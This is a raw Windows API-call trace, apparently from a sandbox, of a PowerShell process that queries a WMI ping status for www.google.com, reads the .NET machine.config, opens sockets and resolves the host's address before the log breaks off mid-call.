(in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23647e0*=0, plFlavor=0x23647e4*=0 | out: pVal=0x59ee4f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x23647e0*=3, plFlavor=0x23647e4*=64) returned 0x0 [0128.167] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2364814*=0, plFlavor=0x2364818*=0 | out: pVal=0x59ee4f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afe0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2364814*=8200, plFlavor=0x2364818*=64) returned 0x0 [0128.167] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2364848*=0, plFlavor=0x236484c*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2364848*=8, plFlavor=0x236484c*=64) returned 0x0 [0128.167] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0128.167] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0128.167] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2364894*=0, plFlavor=0x2364898*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2364894*=8, plFlavor=0x2364898*=64) returned 0x0 [0128.167] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.167] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.167] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23648e0*=0, plFlavor=0x23648e4*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23648e0*=8, plFlavor=0x23648e4*=64) returned 0x0 [0128.168] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0128.168] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0128.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0128.168] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0128.168] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.168] IWbemClassObject:Get (in: This=0x4f387a8, wszName="address", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2364b18*=0, plFlavor=0x2364b1c*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2364b18*=8, plFlavor=0x2364b1c*=0) returned 0x0 [0128.168] SysStringByteLen (bstr="www.google.com") returned 0x1c [0128.168] SysStringByteLen (bstr="www.google.com") returned 0x1c [0128.168] IWbemClassObject:Get (in: This=0x4f387a8, wszName="address", lFlags=0, pVal=0x59ee58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2364b18*=8, plFlavor=0x2364b1c*=0 | out: pVal=0x59ee58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2364b18*=8, plFlavor=0x2364b1c*=0) returned 0x0 [0128.168] SysStringByteLen (bstr="www.google.com") returned 0x1c [0128.168] SysStringByteLen (bstr="www.google.com") returned 0x1c [0128.570] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x59edf60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0128.571] CoTaskMemAlloc (cb=0x20c) returned 0x4f4b308 [0128.571] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4f4b308, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0128.571] CoTaskMemFree (pv=0x4f4b308) [0128.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0128.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0128.673] GetCurrentProcess () returned 0xffffffff [0128.673] GetCurrentProcess () returned 0xffffffff [0128.674] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee260, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee260*=0x514) returned 1 [0128.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0128.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0128.676] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x59ee290 | out: lpFileInformation=0x59ee290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.678] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x59ee298 | out: lpFileInformation=0x59ee298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee1d0) returned 1 [0128.678] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0128.678] GetFileType (hFile=0x518) returned 0x1 [0128.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee1cc) returned 1 [0128.678] GetFileType (hFile=0x518) returned 0x1 [0128.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed7ac) returned 1 [0128.690] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x59eda70 | out: lpFileInformation=0x59eda70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed7a8) returned 1 [0128.946] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x59ed93c | out: pfEnabled=0x59ed93c) returned 0x0 [0128.957] GetFileSize (in: hFile=0x518, lpFileSizeHigh=0x59ee28c | out: lpFileSizeHigh=0x59ee28c*=0x0) returned 0x8c8e [0128.958] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee248, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59ee248*=0x1000, lpOverlapped=0x0) returned 1 [0128.972] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee0f8, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59ee0f8*=0x1000, lpOverlapped=0x0) returned 1 [0128.974] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59edfac, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59edfac*=0x1000, lpOverlapped=0x0) returned 1 [0128.975] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59edfac, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59edfac*=0x1000, lpOverlapped=0x0) returned 1 [0128.975] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59edfac, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59edfac*=0x1000, lpOverlapped=0x0) returned 1 [0128.975] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59edee4, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59edee4*=0x1000, lpOverlapped=0x0) returned 1 [0128.979] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee050, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59ee050*=0x1000, lpOverlapped=0x0) returned 1 [0128.981] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59edf44, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59edf44*=0x1000, lpOverlapped=0x0) returned 1 [0128.981] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59edf44, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59edf44*=0xc8e, lpOverlapped=0x0) returned 1 [0128.981] ReadFile (in: hFile=0x518, lpBuffer=0x23972b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee008, lpOverlapped=0x0 | out: lpBuffer=0x23972b4*, lpNumberOfBytesRead=0x59ee008*=0x0, lpOverlapped=0x0) returned 1 [0128.981] CloseHandle (hObject=0x518) returned 1 [0128.982] CloseHandle (hObject=0x510) returned 1 [0128.982] CloseHandle (hObject=0x514) returned 1 [0128.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x59edf5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0128.983] CoTaskMemAlloc (cb=0x20c) returned 0x4f4b308 [0128.983] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4f4b308, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0128.983] CoTaskMemFree (pv=0x4f4b308) [0128.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0128.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0128.983] GetCurrentProcess () returned 0xffffffff [0128.984] GetCurrentProcess () returned 0xffffffff [0128.984] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee3ac, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee3ac*=0x510) returned 1 [0128.984] CloseHandle (hObject=0x514) returned 1 [0128.984] CloseHandle (hObject=0x510) returned 1 [0128.985] GetCurrentProcess () returned 0xffffffff [0128.985] GetCurrentProcess () returned 0xffffffff [0128.985] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee3ac, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee3ac*=0x514) returned 1 [0129.080] CloseHandle (hObject=0x510) returned 1 [0129.080] CloseHandle (hObject=0x514) returned 1 [0129.082] GetCurrentProcess () returned 0xffffffff [0129.082] GetCurrentProcess () returned 0xffffffff [0129.082] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee260, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee260*=0x510) returned 1 [0129.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x59ee290 | out: lpFileInformation=0x59ee290*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0129.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0129.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0129.083] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x59ee298 | out: lpFileInformation=0x59ee298*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0129.083] CloseHandle (hObject=0x514) returned 1 [0129.083] CloseHandle (hObject=0x510) returned 1 [0129.084] GetCurrentProcess () returned 0xffffffff [0129.084] GetCurrentProcess () returned 0xffffffff [0129.084] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee3ac, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee3ac*=0x514) returned 1 [0129.084] CloseHandle (hObject=0x510) returned 1 [0129.084] CloseHandle (hObject=0x514) returned 1 [0129.086] GetCurrentProcess () returned 0xffffffff [0129.086] GetCurrentProcess () returned 0xffffffff [0129.086] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee3ac, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee3ac*=0x510) returned 1 [0129.086] CloseHandle (hObject=0x514) returned 1 [0129.086] CloseHandle (hObject=0x510) returned 1 [0129.097] GetCurrentProcess () returned 0xffffffff [0129.097] GetCurrentProcess () returned 0xffffffff [0129.097] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee1c4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee1c4*=0x514) returned 1 [0129.118] CloseHandle (hObject=0x510) returned 1 [0129.118] CloseHandle (hObject=0x514) returned 1 [0129.119] GetCurrentProcess () returned 0xffffffff [0129.119] GetCurrentProcess () returned 0xffffffff [0129.119] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee1dc, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee1dc*=0x510) returned 1 [0129.120] CloseHandle (hObject=0x514) returned 1 [0129.120] CloseHandle (hObject=0x510) returned 1 [0129.463] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x59ee3f0 | out: lpWSAData=0x59ee3f0) returned 0 [0129.471] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x52c [0129.582] setsockopt (s=0x52c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0129.582] closesocket (s=0x52c) returned 0 [0129.583] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x52c [0129.586] setsockopt (s=0x52c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0129.586] closesocket (s=0x52c) returned 0 [0129.589] GetCurrentProcess () returned 0xffffffff [0129.589] GetCurrentProcess () returned 0xffffffff [0129.589] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x52c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee1b8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee1b8*=0x530) returned 1 [0129.595] CloseHandle (hObject=0x52c) returned 1 [0129.595] CloseHandle (hObject=0x530) returned 1 [0129.595] GetCurrentProcess () returned 0xffffffff [0129.595] GetCurrentProcess () returned 0xffffffff [0129.596] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x530, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59ee1d0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59ee1d0*=0x52c) returned 1 [0129.596] CloseHandle (hObject=0x530) returned 1 [0129.596] CloseHandle (hObject=0x52c) returned 1 [0129.876] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x59ee5d8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59ee580 | out: ppResult=0x59ee580*=0x4f58778*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4b548*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) returned 0 [0130.639] FreeAddrInfoW (pAddrInfo=0x4f58778*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4b548*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) [0130.673] CoCreateGuid (in: pguid=0x59ee698 | out: pguid=0x59ee698*(Data1=0xf0f62ec1, Data2=0x1ca2, Data3=0x4d41, Data4=([0]=0xaa, [1]=0xd0, [2]=0x55, [3]=0x17, [4]=0x9, [5]=0x49, [6]=0xae, [7]=0x74))) returned 0x0 [0130.673] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0130.896] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0130.897] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59ee240, nSize=0x80 | out: lpBuffer="") returned 0xbe [0130.897] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59ee1c4, nSize=0xbe | out: lpBuffer="") returned 0xbd [0130.897] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59ee1b0, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.897] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f1d7b0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0130.898] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59ee1b8, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.898] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0130.898] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0130.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0ac) returned 1 [0130.898] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59ee370 | out: lpFileInformation=0x59ee370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0130.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0a8) returned 1 [0130.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0ac) returned 1 [0130.898] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), 